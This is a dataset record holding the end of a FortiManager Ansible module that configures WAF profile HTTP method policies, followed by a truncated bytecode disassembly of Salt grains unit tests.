/sys/login/user response_code: description: The status of api request. returned: always type: int sample: 0 response_data: description: The api response. type: list returned: always response_message: description: The descriptive message of the api response. type: str returned: always sample: OK. system_information: description: The information of the target system. type: dict returned: always rc: description: The status the request. type: int returned: always sample: 0 version_check_warning: description: Warning if the parameters used in the playbook are not supported by the current FortiManager version. type: list returned: complex """ from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible_collections.fortinet.fortimanager.plugins.module_utils.napi import ( NAPIManager, ) from ansible_collections.fortinet.fortimanager.plugins.module_utils.napi import ( check_galaxy_version, ) from ansible_collections.fortinet.fortimanager.plugins.module_utils.napi import ( check_parameter_bypass, ) def main(): jrpc_urls = [ "/pm/config/adom/{adom}/obj/waf/profile/{profile}/method", "/pm/config/global/obj/waf/profile/{profile}/method", ] perobject_jrpc_urls = [ "/pm/config/adom/{adom}/obj/waf/profile/{profile}/method/{method}", "/pm/config/global/obj/waf/profile/{profile}/method/{method}", ] url_params = ["adom", "profile"] module_primary_key = None module_arg_spec = { "access_token": {"type": "str", "required": False, "no_log": True}, "bypass_validation": {"type": "bool", "required": False, "default": False}, "enable_log": {"type": "bool", "required": False, "default": False}, "forticloud_access_token": {"type": "str", "required": False, "no_log": True}, "proposed_method": { "type": "str", "required": False, "choices": ["set", "update", "add"], }, "rc_succeeded": {"required": False, "type": "list", "elements": "int"}, "rc_failed": {"required": False, "type": "list", "elements": "int"}, "workspace_locking_adom": {"type": "str", "required": False}, "workspace_locking_timeout": {"type": "int", "required": False, "default": 300}, "adom": {"required": True, "type": "str"}, "profile": {"required": True, "type": "str"}, "waf_profile_method": { "required": False, "type": "dict", "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "options": { "default-allowed-methods": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "type": "list", "choices": [ "delete", "get", "head", "options", "post", "put", "trace", "others", "connect", ], "elements": "str", }, "log": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "choices": ["disable", "enable"], "type": "str", }, "method-policy": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "type": "list", "options": { "address": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "type": "str", }, "allowed-methods": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "type": "list", "choices": [ "delete", "get", "head", "options", "post", "put", "trace", "others", "connect", ], "elements": "str", }, "id": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "type": "int", }, "pattern": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "type": "str", }, "regex": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "choices": ["disable", "enable"], "type": "str", }, }, "elements": "dict", }, "severity": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "choices": ["low", "medium", "high"], "type": "str", }, "status": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": True, }, "choices": ["disable", "enable"], "type": "str", }, }, }, } params_validation_blob = [] check_galaxy_version(module_arg_spec) module = AnsibleModule( argument_spec=check_parameter_bypass(module_arg_spec, "waf_profile_method"), supports_check_mode=False, ) fmgr = None if module._socket_path: connection = Connection(module._socket_path) connection.set_option( "access_token", module.params["access_token"] if "access_token" in module.params else None, ) connection.set_option( "enable_log", module.params["enable_log"] if "enable_log" in module.params else False, ) connection.set_option( "forticloud_access_token", ( module.params["forticloud_access_token"] if "forticloud_access_token" in module.params else None ), ) fmgr = NAPIManager( jrpc_urls, perobject_jrpc_urls, module_primary_key, url_params, module, connection, top_level_schema_name="data", ) fmgr.validate_parameters(params_validation_blob) fmgr.process_partial_curd(argument_specs=module_arg_spec) else: module.fail_json(msg="MUST RUN IN HTTPAPI MODE") module.exit_json(meta=module.params) if __name__ == "__main__": main()
data/ansible-9.2.0/ansible_collections/fortinet/fortimanager/plugins/modules/fmgr_waf_profile_method.py
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852
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST None IMPORT_NAME salt.modules.grains IMPORT_FROM modules ROT_TWO POP_TOP IMPORT_FROM grains STORE_NAME grainsmod POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME salt.utils.dictupdate IMPORT_FROM utils ROT_TWO POP_TOP IMPORT_FROM dictupdate STORE_NAME dictupdate POP_TOP LOAD_CONST 0 LOAD_CONST ('SaltException',) IMPORT_NAME salt.exceptions IMPORT_FROM SaltException STORE_NAME SaltException POP_TOP LOAD_CONST 0 LOAD_CONST ('OrderedDict',) IMPORT_NAME salt.utils.odict IMPORT_FROM OrderedDict STORE_NAME OrderedDict POP_TOP LOAD_CONST 0 LOAD_CONST ('MagicMock', 'patch') IMPORT_NAME tests.support.mock IMPORT_FROM MagicMock STORE_NAME MagicMock IMPORT_FROM patch STORE_NAME patch POP_TOP LOAD_CONST 0 LOAD_CONST ('RUNTIME_VARS',) IMPORT_NAME tests.support.runtests IMPORT_FROM RUNTIME_VARS STORE_NAME RUNTIME_VARS POP_TOP LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST <code object configure_loader_modules at 0x7faac02aba50, file "f.py", line 14> LOAD_CONST 'configure_loader_modules' MAKE_FUNCTION CALL_FUNCTION STORE_NAME configure_loader_modules LOAD_CONST <code object test_filter_by at 0x7fab4106cae0, file "f.py", line 28> LOAD_CONST 'test_filter_by' MAKE_FUNCTION STORE_NAME test_filter_by LOAD_CONST <code object test_append_not_a_list at 0x7fab4106c540, file "f.py", line 135> LOAD_CONST 'test_append_not_a_list' MAKE_FUNCTION STORE_NAME test_append_not_a_list LOAD_CONST <code object test_append_already_in_list at 0x7fab4106c0c0, file "f.py", line 147> LOAD_CONST 'test_append_already_in_list' MAKE_FUNCTION STORE_NAME test_append_already_in_list LOAD_CONST <code object test_append_ok at 0x7fab4278a810, file "f.py", line 154> LOAD_CONST 'test_append_ok' MAKE_FUNCTION STORE_NAME test_append_ok LOAD_CONST <code object test_append_nested_not_a_list at 0x7fab4106cf60, file "f.py", line 176> LOAD_CONST 'test_append_nested_not_a_list' MAKE_FUNCTION STORE_NAME test_append_nested_not_a_list LOAD_CONST <code object test_append_nested_already_in_list at 0x7fab00136270, file "f.py", line 188> LOAD_CONST 'test_append_nested_already_in_list' MAKE_FUNCTION STORE_NAME test_append_nested_already_in_list LOAD_CONST <code object test_append_nested_ok at 0x7fab001366f0, file "f.py", line 197> LOAD_CONST 'test_append_nested_ok' MAKE_FUNCTION STORE_NAME test_append_nested_ok LOAD_CONST <code object test_append_to_an_element_of_a_list at 0x7fab00136810, file "f.py", line 223> LOAD_CONST 'test_append_to_an_element_of_a_list' MAKE_FUNCTION STORE_NAME test_append_to_an_element_of_a_list LOAD_CONST <code object test_set_value_already_set at 0x7fab701da150, file "f.py", line 230> LOAD_CONST 'test_set_value_already_set' MAKE_FUNCTION STORE_NAME test_set_value_already_set LOAD_CONST <code object test_set_fail_replacing_existing_complex_key at 0x7fab701da1e0, file "f.py", line 252> LOAD_CONST 'test_set_fail_replacing_existing_complex_key' MAKE_FUNCTION STORE_NAME test_set_fail_replacing_existing_complex_key LOAD_CONST <code object test_set_nested_fails_replace_simple_value at 0x7fab8013b810, file "f.py", line 287> LOAD_CONST 'test_set_nested_fails_replace_simple_value' MAKE_FUNCTION STORE_NAME test_set_nested_fails_replace_simple_value LOAD_CONST <code object test_set_simple_value at 0x7fab8013b780, file "f.py", line 298> LOAD_CONST 'test_set_simple_value' MAKE_FUNCTION STORE_NAME test_set_simple_value LOAD_CONST <code object test_set_replace_value at 0x7fab8013bd20, file "f.py", line 306> LOAD_CONST 'test_set_replace_value' MAKE_FUNCTION STORE_NAME test_set_replace_value LOAD_CONST <code object test_set_None_ok at 0x7fab8013bdb0, file "f.py", line 314> LOAD_CONST 'test_set_None_ok' MAKE_FUNCTION STORE_NAME test_set_None_ok LOAD_CONST <code object test_set_None_ok_destructive at 0x7fab8013b930, file "f.py", line 322> LOAD_CONST 'test_set_None_ok_destructive' MAKE_FUNCTION STORE_NAME test_set_None_ok_destructive LOAD_CONST <code object test_set_None_replace_ok at 0x7fab70078b70, file "f.py", line 330> LOAD_CONST 'test_set_None_replace_ok' MAKE_FUNCTION STORE_NAME test_set_None_replace_ok LOAD_CONST <code object test_set_None_force_destructive at 0x7fab70078c00, file "f.py", line 338> LOAD_CONST 'test_set_None_force_destructive' MAKE_FUNCTION STORE_NAME test_set_None_force_destructive LOAD_CONST <code object test_set_replace_value_was_complex_force at 0x7fab4299c660, file "f.py", line 346> LOAD_CONST 'test_set_replace_value_was_complex_force' MAKE_FUNCTION STORE_NAME test_set_replace_value_was_complex_force LOAD_CONST <code object test_set_complex_value_force at 0x7fab4299cc90, file "f.py", line 354> LOAD_CONST 'test_set_complex_value_force' MAKE_FUNCTION STORE_NAME test_set_complex_value_force LOAD_CONST <code object test_set_nested_create at 0x7fab4299c6f0, file "f.py", line 362> LOAD_CONST 'test_set_nested_create' MAKE_FUNCTION STORE_NAME test_set_nested_create LOAD_CONST <code object test_set_nested_update_dict at 0x7fab4299c030, file "f.py", line 370> LOAD_CONST 'test_set_nested_update_dict' MAKE_FUNCTION STORE_NAME test_set_nested_update_dict LOAD_CONST <code object test_set_nested_update_dict_remove_key at 0x7fab4299c810, file "f.py", line 380> LOAD_CONST 'test_set_nested_update_dict_remove_key' MAKE_FUNCTION STORE_NAME test_set_nested_update_dict_remove_key LOAD_CONST <code object test_set_nested_update_dict_new_key at 0x7fab4299ca50, file "f.py", line 390> LOAD_CONST 'test_set_nested_update_dict_new_key' MAKE_FUNCTION STORE_NAME test_set_nested_update_dict_new_key LOAD_CONST <code object test_set_nested_list_replace_key at 0x7fab4299c4b0, file "f.py", line 404> LOAD_CONST 'test_set_nested_list_replace_key' MAKE_FUNCTION STORE_NAME test_set_nested_list_replace_key LOAD_CONST <code object test_set_nested_list_update_dict_key at 0x7fab4299cae0, file "f.py", line 418> LOAD_CONST 'test_set_nested_list_update_dict_key' MAKE_FUNCTION STORE_NAME test_set_nested_list_update_dict_key LOAD_CONST <code object test_set_nested_list_update_dict_key_overwrite at 0x7fab4299c8a0, file "f.py", line 432> LOAD_CONST 'test_set_nested_list_update_dict_key_overwrite' MAKE_FUNCTION STORE_NAME test_set_nested_list_update_dict_key_overwrite LOAD_CONST <code object test_set_nested_list_append_dict_key at 0x7fab4299c150, file "f.py", line 446> LOAD_CONST 'test_set_nested_list_append_dict_key' MAKE_FUNCTION STORE_NAME test_set_nested_list_append_dict_key LOAD_CONST <code object test_set_nested_existing_value_is_the_key at 0x7fab4299cc00, file "f.py", line 460> LOAD_CONST 'test_set_nested_existing_value_is_the_key' MAKE_FUNCTION STORE_NAME test_set_nested_existing_value_is_the_key LOAD_CONST <code object test_set_nested_existing_value_overwrite at 0x7fab4299c5d0, file "f.py", line 468> LOAD_CONST 'test_set_nested_existing_value_overwrite' MAKE_FUNCTION STORE_NAME test_set_nested_existing_value_overwrite LOAD_CONST <code object test_set_deeply_nested_update at 0x7faac02be6f0, file "f.py", line 476> LOAD_CONST 'test_set_deeply_nested_update' MAKE_FUNCTION STORE_NAME test_set_deeply_nested_update LOAD_CONST <code object test_set_deeply_nested_create at 0x7faac02bea50, file "f.py", line 491> LOAD_CONST 'test_set_deeply_nested_create' MAKE_FUNCTION STORE_NAME test_set_deeply_nested_create LOAD_CONST <code object test_get_ordered at 0x7faac02be1e0, file "f.py", line 522> LOAD_CONST 'test_get_ordered' MAKE_FUNCTION STORE_NAME test_get_ordered LOAD_CONST <code object test_get_unordered at 0x7faac02be150, file "f.py", line 560> LOAD_CONST 'test_get_unordered' MAKE_FUNCTION STORE_NAME test_get_unordered LOAD_CONST <code object test_equals at 0x7faad43f1a50, file "f.py", line 592> LOAD_CONST 'test_equals' MAKE_FUNCTION STORE_NAME test_equals LOAD_CONST <code object test_grains_setval_refresh_pillar at 0x7faad43f1300, file "f.py", line 623> LOAD_CONST 'test_grains_setval_refresh_pillar' MAKE_FUNCTION STORE_NAME test_grains_setval_refresh_pillar LOAD_CONST <code object test_setval_unicode at 0x7faad43f1c00, file "f.py", line 645> LOAD_CONST 'test_setval_unicode' MAKE_FUNCTION STORE_NAME test_setval_unicode LOAD_CONST <code object test_delval_single at 0x7fab42ba9540, file "f.py", line 655> LOAD_CONST 'test_delval_single' MAKE_FUNCTION STORE_NAME test_delval_single LOAD_CONST <code object test_delval_nested at 0x7fab42ba9c90, file "f.py", line 665> LOAD_CONST 'test_delval_nested' MAKE_FUNCTION STORE_NAME test_delval_nested LOAD_CONST <code object test_delkey_single_key at 0x7fab42ba9780, file "f.py", line 675> LOAD_CONST 'test_delkey_single_key' MAKE_FUNCTION STORE_NAME test_delkey_single_key LOAD_CONST <code object test_delkey_nested_key at 0x7fab42ba9150, file "f.py", line 685> LOAD_CONST 'test_delkey_nested_key' MAKE_FUNCTION STORE_NAME test_delkey_nested_key LOAD_CONST <code object test_delkey_nested_key_force_needed at 0x7fab42ba9d20, file "f.py", line 695> LOAD_CONST 'test_delkey_nested_key_force_needed' MAKE_FUNCTION STORE_NAME test_delkey_nested_key_force_needed LOAD_CONST None RETURN_VALUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL RUNTIME_VARS LOAD_ATTR TMP LOAD_CONST '__salt_test_grains' CALL_METHOD STORE_FAST conf_file LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL RUNTIME_VARS LOAD_ATTR TMP LOAD_CONST '__salt_test_grains_cache_dir' CALL_METHOD STORE_FAST cachedir LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isdir LOAD_FAST cachedir CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL os LOAD_METHOD makedirs LOAD_FAST cachedir CALL_METHOD POP_TOP LOAD_GLOBAL grainsmod LOAD_FAST conf_file LOAD_FAST cachedir LOAD_CONST ('conf_file', 'cachedir') BUILD_CONST_KEY_MAP LOAD_CONST 'saltutil.refresh_grains' LOAD_GLOBAL MagicMock CALL_FUNCTION BUILD_MAP LOAD_CONST ('__opts__', '__salt__') BUILD_CONST_KEY_MAP BUILD_MAP RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'MockedOS' LOAD_CONST '1' LOAD_CONST '2' LOAD_CONST 'A' LOAD_CONST 'B' BUILD_LIST LOAD_CONST ('os_family', '1', '2', 'roles') BUILD_CONST_KEY_MAP CALL_METHOD EXTENDED_ARG SETUP_WITH to 1370 POP_TOP LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('A', 'C') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'E' BUILD_MAP LOAD_CONST ('A', 'C') BUILD_CONST_KEY_MAP LOAD_CONST 'A' LOAD_CONST 'X' BUILD_MAP LOAD_CONST 'C' LOAD_CONST 'D' LOAD_CONST 'H' BUILD_MAP BUILD_MAP LOAD_CONST 'A' LOAD_CONST 'Z' BUILD_MAP LOAD_CONST ('default', '1', '2', 'MockedOS') BUILD_CONST_KEY_MAP STORE_FAST dict2 LOAD_CONST 'E' LOAD_CONST 'I' BUILD_MAP LOAD_CONST 'K' LOAD_CONST ('D', 'J') BUILD_CONST_KEY_MAP STORE_FAST mdict1 LOAD_CONST 'A' LOAD_CONST 'Z' BUILD_MAP STORE_FAST mdict2 LOAD_CONST 'C' LOAD_CONST 'D' LOAD_CONST 'J' BUILD_MAP BUILD_MAP STORE_FAST mdict3 LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'xxx' LOAD_CONST ('grain',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_METHOD filter_by LOAD_FAST dict1 CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'xxx' LOAD_CONST 'C' LOAD_CONST ('grain', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'xxx' LOAD_FAST mdict1 LOAD_CONST 'C' LOAD_CONST ('grain', 'merge', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'I' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP LOAD_CONST 'K' LOAD_CONST ('D', 'J') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('A', 'C') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'xxx' LOAD_FAST mdict1 LOAD_CONST 'Z' LOAD_CONST ('grain', 'merge', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_FAST mdict1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'xxx' LOAD_CONST 'Z' LOAD_CONST ('grain', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL SaltException LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'xxx' LOAD_CONST 'foo' BUILD_LIST LOAD_CONST 'C' CALL_METHOD POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD filter_by LOAD_FAST dict1 CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'C' LOAD_CONST ('default',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_FAST mdict1 LOAD_CONST 'C' LOAD_CONST ('merge', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'I' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP LOAD_CONST 'K' LOAD_CONST ('D', 'J') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('A', 'C') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_FAST mdict1 LOAD_CONST 'Z' LOAD_CONST ('merge', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_FAST mdict1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'Z' LOAD_CONST ('default',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_ATTR raises LOAD_GLOBAL TypeError LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_FAST mdict1 LOAD_CONST 'A' LOAD_CONST ('merge', 'default') CALL_FUNCTION POP_TOP LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') 